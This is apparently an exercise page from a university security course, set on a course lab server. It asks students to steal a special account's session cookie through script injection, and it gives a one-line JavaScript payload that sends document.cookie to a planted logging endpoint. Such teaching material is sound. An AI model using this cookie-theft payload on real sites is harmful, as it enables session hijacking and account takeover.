

Leak `cs161`'s session cookie

Difficulty: Medium

Because it is a special-purpose account, you won't find `cs161`'s session token in the database. However, `cs161` still sends a `session_token` cookie to the server with every request, so you might be able to leak `cs161`'s token using a different attack.

Your CS161 alumni ally has inserted some evil malware that lets you log arbitrary values to an internal dashboard. When you send a HTTP GET Request to the `/evil/report` endpoint and include a `message` parameter, the `message` is posted to the `/evil/logs` page. Try it by visiting the following URL in your browser!

```
https://box.cs161.org/evil/report?message=hello1234
```

Your task: Leak `cs161`'s session cookie by pushing it onto the `/evil/logs` page.

Tip: You may want to try this attack on yourself before executing it on another user.

Tip: You may find this block of JavaScript code useful:

```
fetch('/evil/report?message='+document.cookie)
```

Tip: You may assume the `cs161` user will be browsing the main pages of the site in the background (e.g. home, list, upload, etc.).
